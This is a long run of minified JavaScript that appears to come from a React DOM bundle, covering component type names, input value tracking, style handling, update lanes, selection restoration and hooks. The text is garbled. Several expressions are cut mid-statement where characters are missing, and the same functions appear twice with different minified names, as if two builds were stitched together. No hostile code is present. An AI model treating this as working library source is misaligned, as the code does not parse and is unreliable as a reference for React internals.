s=a.render,s=s.displayName||s.name||"",a.displayName||(s!==""?"ForwardRef("+s+")":"ForwardRef");case 7:return"Fragment";case 5:return a;case 4:return"Portal";case 3:return"Root";case 6:return"Text";case 16:return ye(a);case 8:return a===yc?"StrictMode":"Mode";case 22:return"Offscreen";case 12:return"Profiler";case 21:return"Scope";case 13:return"Suspense";case 19:return"SuspenseList";case 25:return"TracingMarker";case 1:case 0:case 17:case 2:case 14:case 15:if(typeof a=="function")return a.displayName||a.name||null;if(typeof a=="string")return a}return null}function Aa(s){switch(typeof s){case"boolean":case"number":case"string":case"undefined":return s;case"object":return s;default:return""}}function lr(s){var a=s.type;return(s=s.nodeName)&&s.toLowerCase()==="input"&&(a==="checkbox"||a==="radio")}function Lg(s){var a=lr(s)?"checked":"value",n=Object.getOwnPropertyDescriptor(s.constructor.prototype,a),l=""+s[a];if(!s.hasOwnProperty(a)&&typeof n<"u"&&typeof n.get=="function"&&typeof n.set=="function"){var p=n.get,e=n.set;return Object.defineProperty(s,a,{configurable:!0,get:function(){return p.call(this)},set:function(c){l=""+c,e.call(this,c)}}),Object.defineProperty(s,a,{enumerable:n.enumerable}),{getValue:function(){return l},setValue:function(c){l=""+c},stopTracking:function(){s._valueTracker=null,delete s[a]}}}}function jl(s){s._valueTracker||(s._valueTracker=Lg(s))}function pr(s){if(!s)return!1;var a=s._valueTracker;if(!a)return!0;var n=a.getValue(),l="";return s&&(l=lr(s)?s.checked?"true":"false":s.value),s=l,s!==n?(a.setValue(s),!0):!1}function El(s){if(s=s||(typeof document<"u"?document:void 0),typeof s>"u")return null;try{return s.activeElement||s.body}catch{return s.body}}function me(s,a){var n=a.checked;return E({},a,{defaultChecked:void 0,defaultValue:void 0,value:void 0,checked:n??s._wrapperState.initialChecked})}function jt(s,a){var n=a.defaultValue==null?"":a.defaultValue,l=a.checked!=null?a.checked:a.defaultChecked;n=Aa(a.value!=null?a.value:n),s._wrapperState={initialChecked:l,initialValue:n,controlled:a.type==="checkbox"||a.type==="radio"?a.checked!=null:a.value!=null}}function er(s,a){a=a.checked,a!=null&&uc(s,"checked",a,!1)}function be(s,a){er(s,a);var n=Aa(a.value),l=a.type;if(n!=null)l==="number"?(n===0&&s.value===""||s.value!=n)&&(s.value=""+n):s.value!==""+n&&(s.value=""+n);else if(l==="submit"||l==="reset"){s.removeAttribute("value");return}a.hasOwnProperty("value")?we(s,a.type,n):a.hasOwnProperty("defaultValue")&&we(s,a.type,Aa(a.defaultValue)),a.checked==null&&a.defaultChecked!=null&&(s.defaultChecked=!!a.defaultChecked)}function At(s,a,n){if(a.hasOwnProperty("value")||a.hasOwnProperty("defaultValue")){var l=a.type;if(!(l!=="submit"&&l!=="reset"||a.value!==void 0&&a.value!==null))return;a=""+s._wrapperState.initialValue,n||a===s.value||(s.value=a),s.defaultValue=a}n=s.name,n!==""&&(s.name=""),s.defaultChecked=!!s._wrapperState.initialChecked,n!==""&&(s.name=n)}function we(s,a,n){(a!=="number"||El(s.ownerDocument)!==s)&&(n==null?s.defaultValue=""+s._wrapperState.initialValue:s.defaultValue!==""+n&&(s.defaultValue=""+n))}var fn=Array.isArray;function qa(s,a,n,l){if(s=s.options,a){a={};for(var p=0;p"+a.valueOf().toString()+"",a=Al.firstChild;s.firstChild;)s.removeChild(s.firstChild);for(;a.firstChild;)s.appendChild(a.firstChild)}});function zn(s,a){if(a){var n=s.firstChild;if(n&&n===s.lastChild&&n.nodeType===3){n.nodeValue=a;return}}s.textContent=a}var Rn={animationIterationCount:!0,aspectRatio:!0,borderImageOutset:!0,borderImageSlice:!0,borderImageWidth:!0,boxFlex:!0,boxFlexGroup:!0,boxOrdinalGroup:!0,columnCount:!0,columns:!0,flex:!0,flexGrow:!0,flexPositive:!0,flexShrink:!0,flexNegative:!0,flexOrder:!0,gridArea:!0,gridRow:!0,gridRowEnd:!0,gridRowSpan:!0,gridRowStart:!0,gridColumn:!0,gridColumnEnd:!0,gridColumnSpan:!0,gridColumnStart:!0,fontWeight:!0,lineClamp:!0,lineHeight:!0,opacity:!0,order:!0,orphans:!0,tabSize:!0,widows:!0,zIndex:!0,zoom:!0,fillOpacity:!0,floodOpacity:!0,stopOpacity:!0,strokeDasharray:!0,strokeDashoffset:!0,strokeMiterlimit:!0,strokeOpacity:!0,strokeWidth:!0},Og=["Webkit","ms","Moz","O"];Object.keys(Rn).forEach(function(s){Og.forEach(function(a){a=a+s.charAt(0).toUpperCase()+s.substring(1),Rn[a]=Rn[s]})});function rr(s,a,n){return a==null||typeof a=="boolean"||a===""?"":n||typeof a!="number"||a===0||Rn.hasOwnProperty(s)&&Rn[s]?(""+a).trim():a+"px"}function ir(s,a){s=s.style;for(var n in a)if(a.hasOwnProperty(n)){var l=n.indexOf("--")===0,p=rr(n,a[n],l);n==="float"&&(n="cssFloat"),l?s.setProperty(n,p):s[n]=p}}var Pg=E({menuitem:!0},{area:!0,base:!0,br:!0,col:!0,embed:!0,hr:!0,img:!0,input:!0,keygen:!0,link:!0,meta:!0,param:!0,source:!0,track:!0,wbr:!0});function We(s,a){if(a){if(Pg[s]&&(a.children!=null||a.dangerouslySetInnerHTML!=null))throw Error(w(137,s));if(a.dangerouslySetInnerHTML!=null){if(a.children!=null)throw Error(w(60));if(typeof a.dangerouslySetInnerHTML!="object"||!("__html"in a.dangerouslySetInnerHTML))throw Error(w(61))}if(a.style!=null&&typeof a.style!="object")throw Error(w(62))}}function Be(s,a){if(s.indexOf("-")===-1)return typeof a.is=="string";switch(s){case"annotation-xml":case"color-profile":case"font-face":case"font-face-src":case"font-face-uri":case"font-face-format":case"font-face-name":case"missing-glyph":return!1;default:return!0}}var Ge=null;function wc(s){return s=s.target||s.srcElement||window,s.correspondingUseElement&&(s=s.correspondingUseElement),s.nodeType===3?s.parentNode:s}var Ve=null,sn=null,an=null;function mt(s){if(s=rl(s)){if(typeof Ve!="function")throw Error(w(280));var a=s.stateNode;a&&(a=bp(a),Ve(s.stateNode,s.type,a))}}function gr(s){sn?an?an.push(s):an=[s]:sn=s}function hr(){if(sn){var s=sn,a=an;if(an=sn=null,mt(s),a)for(s=0;s>>=0,s===0?32:31-(oh(s)/rh|0)|0}var ul=64,yl=4194304;function Yn(s){switch(s&-s){case 1:return 1;case 2:return 2;case 4:return 4;case 8:return 8;case 16:return 16;case 32:return 32;case 64:case 128:case 256:case 512:case 1024:case 2048:case 4096:case 8192:case 16384:case 32768:case 65536:case 131072:case 262144:case 524288:case 1048576:case 2097152:return s&4194240;case 4194304:case 8388608:case 16777216:case 33554432:case 67108864:return s&130023424;case 134217728:return 134217728;case 268435456:return 268435456;case 536870912:return 536870912;case 1073741824:return 1073741824;default:return s}}function _l(s,a){var n=s.pendingLanes;if(n===0)return 0;var l=0,p=s.suspendedLanes,e=s.pingedLanes,c=n&268435455;if(c!==0){var t=c&~p;t!==0?l=Yn(t):(e&=c,e!==0&&(l=Yn(e)))}else c=n&~p,c!==0?l=Yn(c):e!==0&&(l=Yn(e));if(l===0)return 0;if(a!==0&&a!==l&&!(a&p)&&(p=l&-l,e=a&-a,p>=e||p===16&&(e&4194240)!==0))return a;if(l&4&&(l|=n&16),a=s.entangledLanes,a!==0)for(s=s.entanglements,a&=l;0n;n++)a.push(s);return a}function tl(s,a,n){s.pendingLanes|=a,a!==536870912&&(s.suspendedLanes=0,s.pingedLanes=0),s=s.eventTimes,a=31-Fs(a),s[a]=n}function Ih(s,a){var n=s.pendingLanes&~a;s.pendingLanes=a,s.suspendedLanes=0,s.pingedLanes=0,s.expiredLanes&=a,s.mutableReadLanes&=a,s.entangledLanes&=a,a=s.entanglements;var l=s.eventTimes;for(s=s.expirationTimes;0=Nn),ft=" ",Yt=!1;function Rr(s,a){switch(s){case"keyup":return Jh.indexOf(a.keyCode)!==-1;case"keydown":return a.keyCode!==229;case"keypress":case"mousedown":case"focusout":return!0;default:return!1}}function vr(s){return s=s.detail,typeof s=="object"&&"data"in s?s.data:null}var Da=!1;function Dh(s,a){switch(s){case"compositionend":return vr(a);case"keypress":return a.which!==32?null:(Yt=!0,ft);case"textInput":return s=a.data,s===ft&&Yt?null:s;default:return null}}function Eh(s,a){if(Da)return s==="compositionend"||!Yc&&Rr(s,a)?(s=Yr(),Hl=Gc=ca=null,Da=!1,s):null;switch(s){case"paste":return null;case"keypress":if(!(a.ctrlKey||a.altKey||a.metaKey)||a.ctrlKey&&a.altKey){if(a.char&&1=a)return{node:n,offset:a-s};s=l}s:{for(;n;){if(n.nextSibling){n=n.nextSibling;break s}n=n.parentNode}n=void 0}n=Nt(n)}}function Kr(s,a){return s&&a?s===a?!0:s&&s.nodeType===3?!1:a&&a.nodeType===3?Kr(s,a.parentNode):"contains"in s?s.contains(a):s.compareDocumentPosition?!!(s.compareDocumentPosition(a)&16):!1:!1}function Mr(){for(var s=window,a=El();a instanceof s.HTMLIFrameElement;){try{var n=typeof a.contentWindow.location.href=="string"}catch{n=!1}if(n)s=a.contentWindow;else break;a=El(s.document)}return a}function Xc(s){var a=s&&s.nodeName&&s.nodeName.toLowerCase();return a&&(a==="input"&&(s.type==="text"||s.type==="search"||s.type==="tel"||s.type==="url"||s.type==="password")||a==="textarea"||s.contentEditable==="true")}function qh(s){var a=Mr(),n=s.focusedElem,l=s.selectionRange;if(a!==n&&n&&n.ownerDocument&&Kr(n.ownerDocument.documentElement,n)){if(l!==null&&Xc(n)){if(a=l.start,s=l.end,s===void 0&&(s=a),"selectionStart"in n)n.selectionStart=a,n.selectionEnd=Math.min(s,n.value.length);else if(s=(a=n.ownerDocument||document)&&a.defaultView||window,s.getSelection){s=s.getSelection();var p=n.textContent.length,e=Math.min(l.start,p);l=l.end===void 0?e:Math.min(l.end,p),!s.extend&&e>l&&(p=l,l=e,e=p),p=Ht(n,e);var c=Ht(n,l);p&&c&&(s.rangeCount!==1||s.anchorNode!==p.node||s.anchorOffset!==p.offset||s.focusNode!==c.node||s.focusOffset!==c.offset)&&(a=a.createRange(),a.setStart(p.node,p.offset),s.removeAllRanges(),e>l?(s.addRange(a),s.extend(c.node,c.offset)):(a.setEnd(c.node,c.offset),s.addRange(a)))}}for(a=[],s=n;s=s.parentNode;)s.nodeType===1&&a.push({element:s,left:s.scrollLeft,top:s.scrollTop});for(typeof n.focus=="function"&&n.focus(),n=0;n=document.documentMode,Ea=null,Ne=null,Fn=null,He=!1;function Ft(s,a,n){var l=n.window===n?n.document:n.nodeType===9?n:n.ownerDocument;He||Ea==null||Ea!==El(l)||(l=Ea,"selectionStart"in l&&Xc(l)?l={start:l.selectionStart,end:l.selectionEnd}:(l=(l.ownerDocument&&l.ownerDocument.defaultView||window).getSelection(),l={anchorNode:l.anchorNode,anchorOffset:l.anchorOffset,focusNode:l.focusNode,focusOffset:l.focusOffset}),Fn&&_n(Fn,l)||(Fn=l,l=Pl(Ne,"onSelect"),0Ua||(s.current=Je[Ua],Je[Ua]=null,Ua--)}function K(s,a){Ua++,Je[Ua]=s.current,s.current=a}var ua={},os=ma(ua),js=ma(!1),Ra=ua;function cn(s,a){var n=s.type.contextTypes;if(!n)return ua;var l=s.stateNode;if(l&&l.__reactInternalMemoizedUnmaskedChildContext===a)return l.__reactInternalMemoizedMaskedChildContext;var p={},e;for(e in n)p[e]=a[e];return l&&(s=s.stateNode,s.__reactInternalMemoizedUnmaskedChildContext=a,s.__reactInternalMemoizedMaskedChildContext=p),p}function As(s){return s=s.childContextTypes,s!=null}function ql(){S(js),S(os)}function Dt(s,a,n){if(os.current!==ua)throw Error(w(168));K(os,a),K(js,n)}function Ur(s,a,n){var l=s.stateNode;if(a=a.childContextTypes,typeof l.getChildContext!="function")return n;l=l.getChildContext();for(var p in l)if(!(p in a))throw Error(w(108,_g(s)||"Unknown",p));return E({},n,l)}function sp(s){return s=(s=s.stateNode)&&s.__reactInternalMemoizedMergedChildContext||ua,Ra=os.current,K(os,s),K(js,js.current),!0}function Et(s,a,n){var l=s.stateNode;if(!l)throw Error(w(169));n?(s=Ur(s,a,Ra),l.__reactInternalMemoizedMergedChildContext=s,S(js),S(os),K(os,s)):S(js),K(js,n)}var Qs=null,wp=!1,ne=!1;function _r(s){Qs===null?Qs=[s]:Qs.push(s)}function gI(s){wp=!0,_r(s)}function ba(){if(!ne&&Qs!==null){ne=!0;var s=0,a=F;try{var n=Qs;for(F=1;s>=c,p-=c,Ts=1<<32-Fs(a)+p|n<Y?(x=G,G=null):x=G.sibling;var N=j(h,G,C[Y],y);if(N===null){G===null&&(G=x);break}s&&G&&N.alternate===null&&a(h,G),g=e(N,g,Y),k===null?W=N:k.sibling=N,k=N,G=x}if(Y===C.length)return n(h,G),J&&Za(h,Y),W;if(G===null){for(;YY?(x=G,G=null):x=G.sibling;var Xs=j(h,G,N.value,y);if(Xs===null){G===null&&(G=x);break}s&&G&&Xs.alternate===null&&a(h,G),g=e(Xs,g,Y),k===null?W=Xs:k.sibling=Xs,k=Xs,G=x}if(N.done)return n(h,G),J&&Za(h,Y),W;if(G===null){for(;!N.done;Y++,N=C.next())N=d(h,N.value,y),N!==null&&(g=e(N,g,Y),k===null?W=N:k.sibling=N,k=N);return J&&Za(h,Y),W}for(G=l(h,G);!N.done;Y++,N=C.next())N=u(G,h,Y,N.value,y),N!==null&&(s&&N.alternate!==null&&G.delete(N.key===null?Y:N.key),g=e(N,g,Y),k===null?W=N:k.sibling=N,k=N);return s&&G.forEach(function(un){return a(h,un)}),J&&Za(h,Y),W}function Z(h,g,C,y){if(typeof C=="object"&&C!==null&&C.type===za&&C.key===null&&(C=C.props.children),typeof C=="object"&&C!==null){switch(C.$$typeof){case Cl:s:{for(var W=C.key,k=g;k!==null;){if(k.key===W){if(W=C.type,W===za){if(k.tag===7){n(h,k.sibling),g=p(k,C.props.children),g.return=h,h=g;break s}}else if(k.elementType===W||typeof W=="object"&&W!==null&&W.$$typeof===na&&Pt(W)===k.type){n(h,k.sibling),g=p(k,C.props),g.ref=Wn(h,k,C),g.return=h,h=g;break s}n(h,k);break}else a(h,k);k=k.sibling}C.type===za?(g=Ya(C.props.children,h.mode,y,C.key),g.return=h,h=g):(y=Dl(C.type,C.key,C.props,null,h.mode,y),y.ref=Wn(h,g,C),y.return=h,h=y)}return c(h);case Ja:s:{for(k=C.key;g!==null;){if(g.key===k)if(g.tag===4&&g.stateNode.containerInfo===C.containerInfo&&g.stateNode.implementation===C.implementation){n(h,g.sibling),g=p(g,C.children||[]),g.return=h,h=g;break s}else{n(h,g);break}else a(h,g);g=g.sibling}g=ie(C,h.mode,y),g.return=h,h=g}return c(h);case na:return k=C._init,Z(h,g,k(C._payload),y)}if(fn(C))return m(h,g,C,y);if(mn(C))return b(h,g,C,y);Bl(h,C)}return typeof C=="string"&&C!==""||typeof C=="number"?(C=""+C,g!==null&&g.tag===6?(n(h,g.sibling),g=p(g,C),g.return=h,h=g):(n(h,g),g=re(C,h.mode,y),g.return=h,h=g),c(h)):n(h,g)}return Z}var on=ni(!0),li=ni(!1),il={},Ds=ma(il),$n=ma(il),qn=ma(il);function Va(s){if(s===il)throw Error(w(174));return s}function xc(s,a){switch(K(qn,a),K($n,s),K(Ds,il),s=a.nodeType,s){case 9:case 11:a=(a=a.documentElement)?a.namespaceURI:Ze(null,"");break;default:s=s===8?a.parentNode:a,a=s.namespaceURI||null,s=s.tagName,a=Ze(a,s)}S(Ds),K(Ds,a)}function rn(){S(Ds),S($n),S(qn)}function pi(s){Va(qn.current);var a=Va(Ds.current),n=Ze(a,s.type);a!==n&&(K($n,s),K(Ds,n))}function Jc(s){$n.current===s&&(S(Ds),S($n))}var z=ma(0);function cp(s){for(var a=s;a!==null;){if(a.tag===13){var n=a.memoizedState;if(n!==null&&(n=n.dehydrated,n===null||n.data==="$?"||n.data==="$!"))return a}else if(a.tag===19&&a.memoizedProps.revealOrder!==void 0){if(a.flags&128)return a}else if(a.child!==null){a.child.return=a,a=a.child;continue}if(a===s)break;for(;a.sibling===null;){if(a.return===null||a.return===s)return null;a=a.return}a.sibling.return=a.return,a=a.sibling}return null}var le=[];function zc(){for(var s=0;sn?n:4,s(!0);var l=pe.transition;pe.transition={};try{s(!1),a()}finally{F=n,pe.transition=l}}function mi(){return Ys().memoizedState}function CI(s,a,n){var l=Ca(s);if(n={lane:l,action:n,hasEagerState:!1,eagerState:null,next:null},bi(s))wi(a,n);else if(n=$r(s,a,n,l),n!==null){var p=is();Ks(n,s,l,p),ki(n,a,l)}}function jI(s,a,n){var l=Ca(s),p={lane:l,action:n,hasEagerState:!1,eagerState:null,next:null};if(bi(s))wi(a,p);else{var e=s.alternate;if(s.lanes===0&&(e===null||e.lanes===0)&&(e=a.lastRenderedReducer,e!==null))try{var c=a.lastRenderedState,t=e(c,n);if(p.hasEagerState=!0,p.eagerState=t,Ms(t,c)){var o=a.interleaved;o===null?(p.next=p,Mc(a)):(p.next=o.next,o.next=p),a.interleaved=p;return}}catch{}finally{}n=$r(s,a,p,l),n!==null&&(p=is(),Ks(n,s,l,p),ki(n,a,l))}}function bi(s){var a=s.alternate;return s===D||a!==null&&a===D}function wi(s,a){Kn=tp=!0;var n=s.pending;n===null?a.next=a:(a.next=n.next,n.next=a),s.pending=a}function ki(s,a,n){if(n&4194240){var l=a.lanes;l&=s.pendingLanes,n|=l,a.lanes=n,Zc(s,n)}}var op={readContext:fs,useCallback:es,useContext:es,useEffect:es,useImperativeHandle:es,useInsertionEffect:es,useLayoutEffect:es,useMemo:es,useReducer:es,useRef:es,useState:es,useDebugValue:es,useDeferredValue:es,useTransition:es,useMutableSource:es,useSyncExternalStore:es,useId:es,unstable_isNewReconciler:!1},AI={readContext:fs,useCallback:function(s,a){return xs().memoizedState=[s,a===void 0?null:a],s},useContext:fs,useEffect:qt,useImperativeHandle:function(s,a,n){return n=n!=null?n.concat([s]):null,Sl(4194308,4,Ci.bind(null,a,s),n)},useLayoutEffect:function(s,a){return Sl(4194308,4,s,a)},useInsertionEffect:function(s,a){return Sl(4,2,s,a)},useMemo:function(s,a){var n=xs();return a=a===void 0?null:a,s=s(),n.memoizedState=[s,a],s},useReducer:function(s,a,n){var l=xs();return a=n!==void 0?n(a):a,l.memoizedState=l.baseState=a,s={pending:null,interleaved:null,lanes:0,dispatch:null,lastRenderedReducer:s,lastRenderedState:a},l.queue=s,s=s.dispatch=CI.bind(null,D,s),[l.memoizedState,s]},useRef:function(s){var a=xs();return s={current:s},a.memoizedState=s},useState:$t,useDebugValue:Uc,useDeferredValue:function(s){return xs().memoizedState=s},useTransition:function(){var s=$t(!1),a=s[0];return s=dI.bind(null,s[1]),xs().memoizedState=s,[a,s]},useMutableSource:function(){},useSyncExternalStore:function(s,a,n){var l=D,p=xs();if(J){if(n===void 0)throw Error(w(407));n=n()}else{if(n=a(),ss===null)throw Error(w(349));Na&30||ti(l,a,n)}p.memoizedState=n;var e={value:n,getSnapshot:a};return p.queue=e,qt(ri.bind(null,l,e,s),[s]),l.flags|=2048,nl(9,oi.bind(null,l,e,n,a),void 0,null),n},useId:function(){var s=xs(),a=ss.identifierPrefix;if(J){var n=Us,l=Ts;n=(l&~(1<<32-Fs(l)-1)).toString(32)+n,a=":"+a+"R"+n,n=sl++,0")&&(o=o.replace("",s.displayName)),o}while(1<=c&&0<=t);break}}}finally{Jp=!1,Error.prepareStackTrace=n}return(s=s?s.displayName||s.name:"")?Vn(s):""}function Tg(s){switch(s.tag){case 5:return Vn(s.type);case 16:return Vn("Lazy");case 13:return Vn("Suspense");case 19:return Vn("SuspenseList");case 0:case 2:case 15:return s=zp(s.type,!1),s;case 11:return s=zp(s.type.render,!1),s;case 1:return s=zp(s.type,!0),s;default:return""}}function ye(s){if(s==null)return null;if(typeof s=="function")return s.displayName||s.name||null;if(typeof s=="string")return s;switch(s){case za:return"Fragment";case Ja:return"Portal";case je:return"Profiler";case mc:return"StrictMode";case Ae:return"Suspense";case ue:return"SuspenseList"}if(typeof s=="object")switch(s.$$typeof){case ar:return(s.displayName||"Context")+".Consumer";case sr:return(s._context.displayName||"Context")+".Provider";case bc:var a=s.render;return s=s.displayName,s||(s=a.displayName||a.name||"",s=s!==""?"ForwardRef("+s+")":"ForwardRef"),s;case wc:return a=s.displayName||null,a!==null?a:ye(s.type)||"Memo";case na:a=s._payload,s=s._init;try{return ye(s(a))}catch{}}return null}function Ug(s){var a=s.type;switch(s.tag){case 24:return"Cache";case 9:return(a.displayName||"Context")+".Consumer";case 10:return(a._context.displayName||"Context")+".Provider";case 18:return"DehydratedFragment";case 11:return s=a.render,s=s.displayName||s.name||"",a.displayName||(s!==""?"ForwardRef("+s+")":"ForwardRef");case 7:return"Fragment";case 5:return a;case 4:return"Portal";case 3:return"Root";case 6:return"Text";case 16:return ye(a);case 8:return a===mc?"StrictMode":"Mode";case 22:return"Offscreen";case 12:return"Profiler";case 21:return"Scope";case 13:return"Suspense";case 19:return"SuspenseList";case 25:return"TracingMarker";case 1:case 0:case 17:case 2:case 14:case 15:if(typeof a=="function")return a.displayName||a.name||null;if(typeof a=="string")return a}return null}function Aa(s){switch(typeof s){case"boolean":case"number":case"string":case"undefined":return s;case"object":return s;default:return""}}function lr(s){var a=s.type;return(s=s.nodeName)&&s.toLowerCase()==="input"&&(a==="checkbox"||a==="radio")}function _g(s){var a=lr(s)?"checked":"value",n=Object.getOwnPropertyDescriptor(s.constructor.prototype,a),l=""+s[a];if(!s.hasOwnProperty(a)&&typeof n<"u"&&typeof n.get=="function"&&typeof n.set=="function"){var p=n.get,e=n.set;return Object.defineProperty(s,a,{configurable:!0,get:function(){return p.call(this)},set:function(c){l=""+c,e.call(this,c)}}),Object.defineProperty(s,a,{enumerable:n.enumerable}),{getValue:function(){return l},setValue:function(c){l=""+c},stopTracking:function(){s._valueTracker=null,delete s[a]}}}}function jl(s){s._valueTracker||(s._valueTracker=_g(s))}function pr(s){if(!s)return!1;var a=s._valueTracker;if(!a)return!0;var n=a.getValue(),l="";return s&&(l=lr(s)?s.checked?"true":"false":s.value),s=l,s!==n?(a.setValue(s),!0):!1}function El(s){if(s=s||(typeof document<"u"?document:void 0),typeof s>"u")return null;try{return s.activeElement||s.body}catch{return s.body}}function me(s,a){var n=a.checked;return E({},a,{defaultChecked:void 0,defaultValue:void 0,value:void 0,checked:n??s._wrapperState.initialChecked})}function At(s,a){var n=a.defaultValue==null?"":a.defaultValue,l=a.checked!=null?a.checked:a.defaultChecked;n=Aa(a.value!=null?a.value:n),s._wrapperState={initialChecked:l,initialValue:n,controlled:a.type==="checkbox"||a.type==="radio"?a.checked!=null:a.value!=null}}function er(s,a){a=a.checked,a!=null&&yc(s,"checked",a,!1)}function be(s,a){er(s,a);var n=Aa(a.value),l=a.type;if(n!=null)l==="number"?(n===0&&s.value===""||s.value!=n)&&(s.value=""+n):s.value!==""+n&&(s.value=""+n);else if(l==="submit"||l==="reset"){s.removeAttribute("value");return}a.hasOwnProperty("value")?we(s,a.type,n):a.hasOwnProperty("defaultValue")&&we(s,a.type,Aa(a.defaultValue)),a.checked==null&&a.defaultChecked!=null&&(s.defaultChecked=!!a.defaultChecked)}function ut(s,a,n){if(a.hasOwnProperty("value")||a.hasOwnProperty("defaultValue")){var l=a.type;if(!(l!=="submit"&&l!=="reset"||a.value!==void 0&&a.value!==null))return;a=""+s._wrapperState.initialValue,n||a===s.value||(s.value=a),s.defaultValue=a}n=s.name,n!==""&&(s.name=""),s.defaultChecked=!!s._wrapperState.initialChecked,n!==""&&(s.name=n)}function we(s,a,n){(a!=="number"||El(s.ownerDocument)!==s)&&(n==null?s.defaultValue=""+s._wrapperState.initialValue:s.defaultValue!==""+n&&(s.defaultValue=""+n))}var fn=Array.isArray;function qa(s,a,n,l){if(s=s.options,a){a={};for(var p=0;p"+a.valueOf().toString()+"",a=Al.firstChild;s.firstChild;)s.removeChild(s.firstChild);for(;a.firstChild;)s.appendChild(a.firstChild)}});function zn(s,a){if(a){var n=s.firstChild;if(n&&n===s.lastChild&&n.nodeType===3){n.nodeValue=a;return}}s.textContent=a}var vn={animationIterationCount:!0,aspectRatio:!0,borderImageOutset:!0,borderImageSlice:!0,borderImageWidth:!0,boxFlex:!0,boxFlexGroup:!0,boxOrdinalGroup:!0,columnCount:!0,columns:!0,flex:!0,flexGrow:!0,flexPositive:!0,flexShrink:!0,flexNegative:!0,flexOrder:!0,gridArea:!0,gridRow:!0,gridRowEnd:!0,gridRowSpan:!0,gridRowStart:!0,gridColumn:!0,gridColumnEnd:!0,gridColumnSpan:!0,gridColumnStart:!0,fontWeight:!0,lineClamp:!0,lineHeight:!0,opacity:!0,order:!0,orphans:!0,tabSize:!0,widows:!0,zIndex:!0,zoom:!0,fillOpacity:!0,floodOpacity:!0,stopOpacity:!0,strokeDasharray:!0,strokeDashoffset:!0,strokeMiterlimit:!0,strokeOpacity:!0,strokeWidth:!0},Lg=["Webkit","ms","Moz","O"];Object.keys(vn).forEach(function(s){Lg.forEach(function(a){a=a+s.charAt(0).toUpperCase()+s.substring(1),vn[a]=vn[s]})});function rr(s,a,n){return a==null||typeof a=="boolean"||a===""?"":n||typeof a!="number"||a===0||vn.hasOwnProperty(s)&&vn[s]?(""+a).trim():a+"px"}function ir(s,a){s=s.style;for(var n in a)if(a.hasOwnProperty(n)){var l=n.indexOf("--")===0,p=rr(n,a[n],l);n==="float"&&(n="cssFloat"),l?s.setProperty(n,p):s[n]=p}}var Og=E({menuitem:!0},{area:!0,base:!0,br:!0,col:!0,embed:!0,hr:!0,img:!0,input:!0,keygen:!0,link:!0,meta:!0,param:!0,source:!0,track:!0,wbr:!0});function We(s,a){if(a){if(Og[s]&&(a.children!=null||a.dangerouslySetInnerHTML!=null))throw Error(w(137,s));if(a.dangerouslySetInnerHTML!=null){if(a.children!=null)throw Error(w(60));if(typeof a.dangerouslySetInnerHTML!="object"||!("__html"in a.dangerouslySetInnerHTML))throw Error(w(61))}if(a.style!=null&&typeof a.style!="object")throw Error(w(62))}}function Be(s,a){if(s.indexOf("-")===-1)return typeof a.is=="string";switch(s){case"annotation-xml":case"color-profile":case"font-face":case"font-face-src":case"font-face-uri":case"font-face-format":case"font-face-name":case"missing-glyph":return!1;default:return!0}}var Ge=null;function kc(s){return s=s.target||s.srcElement||window,s.correspondingUseElement&&(s=s.correspondingUseElement),s.nodeType===3?s.parentNode:s}var Ve=null,sn=null,an=null;function bt(s){if(s=rl(s)){if(typeof Ve!="function")throw Error(w(280));var a=s.stateNode;a&&(a=bp(a),Ve(s.stateNode,s.type,a))}}function gr(s){sn?an?an.push(s):an=[s]:sn=s}function hr(){if(sn){var s=sn,a=an;if(an=sn=null,bt(s),a)for(s=0;s>>=0,s===0?32:31-(th(s)/oh|0)|0}var ul=64,yl=4194304;function Yn(s){switch(s&-s){case 1:return 1;case 2:return 2;case 4:return 4;case 8:return 8;case 16:return 16;case 32:return 32;case 64:case 128:case 256:case 512:case 1024:case 2048:case 4096:case 8192:case 16384:case 32768:case 65536:case 131072:case 262144:case 524288:case 1048576:case 2097152:return s&4194240;case 4194304:case 8388608:case 16777216:case 33554432:case 67108864:return s&130023424;case 134217728:return 134217728;case 268435456:return 268435456;case 536870912:return 536870912;case 1073741824:return 1073741824;default:return s}}function _l(s,a){var n=s.pendingLanes;if(n===0)return 0;var l=0,p=s.suspendedLanes,e=s.pingedLanes,c=n&268435455;if(c!==0){var t=c&~p;t!==0?l=Yn(t):(e&=c,e!==0&&(l=Yn(e)))}else c=n&~p,c!==0?l=Yn(c):e!==0&&(l=Yn(e));if(l===0)return 0;if(a!==0&&a!==l&&!(a&p)&&(p=l&-l,e=a&-a,p>=e||p===16&&(e&4194240)!==0))return a;if(l&4&&(l|=n&16),a=s.entangledLanes,a!==0)for(s=s.entanglements,a&=l;0n;n++)a.push(s);return a}function tl(s,a,n){s.pendingLanes|=a,a!==536870912&&(s.suspendedLanes=0,s.pingedLanes=0),s=s.eventTimes,a=31-Ks(a),s[a]=n}function hh(s,a){var n=s.pendingLanes&~a;s.pendingLanes=a,s.suspendedLanes=0,s.pingedLanes=0,s.expiredLanes&=a,s.mutableReadLanes&=a,s.entangledLanes&=a,a=s.entanglements;var l=s.eventTimes;for(s=s.expirationTimes;0=Nn),Yt=" ",Xt=!1;function vr(s,a){switch(s){case"keyup":return xh.indexOf(a.keyCode)!==-1;case"keydown":return a.keyCode!==229;case"keypress":case"mousedown":case"focusout":return!0;default:return!1}}function Rr(s){return s=s.detail,typeof s=="object"&&"data"in s?s.data:null}var Da=!1;function zh(s,a){switch(s){case"compositionend":return Rr(a);case"keypress":return a.which!==32?null:(Xt=!0,Yt);case"textInput":return s=a.data,s===Yt&&Xt?null:s;default:return null}}function Dh(s,a){if(Da)return s==="compositionend"||!Xc&&vr(s,a)?(s=Yr(),Hl=Vc=ca=null,Da=!1,s):null;switch(s){case"paste":return null;case"keypress":if(!(a.ctrlKey||a.altKey||a.metaKey)||a.ctrlKey&&a.altKey){if(a.char&&1=a)return{node:n,offset:a-s};s=l}s:{for(;n;){if(n.nextSibling){n=n.nextSibling;break s}n=n.parentNode}n=void 0}n=Ht(n)}}function Fr(s,a){return s&&a?s===a?!0:s&&s.nodeType===3?!1:a&&a.nodeType===3?Fr(s,a.parentNode):"contains"in s?s.contains(a):s.compareDocumentPosition?!!(s.compareDocumentPosition(a)&16):!1:!1}function Mr(){for(var s=window,a=El();a instanceof s.HTMLIFrameElement;){try{var n=typeof a.contentWindow.location.href=="string"}catch{n=!1}if(n)s=a.contentWindow;else break;a=El(s.document)}return a}function vc(s){var a=s&&s.nodeName&&s.nodeName.toLowerCase();return a&&(a==="input"&&(s.type==="text"||s.type==="search"||s.type==="tel"||s.type==="url"||s.type==="password")||a==="textarea"||s.contentEditable==="true")}function $h(s){var 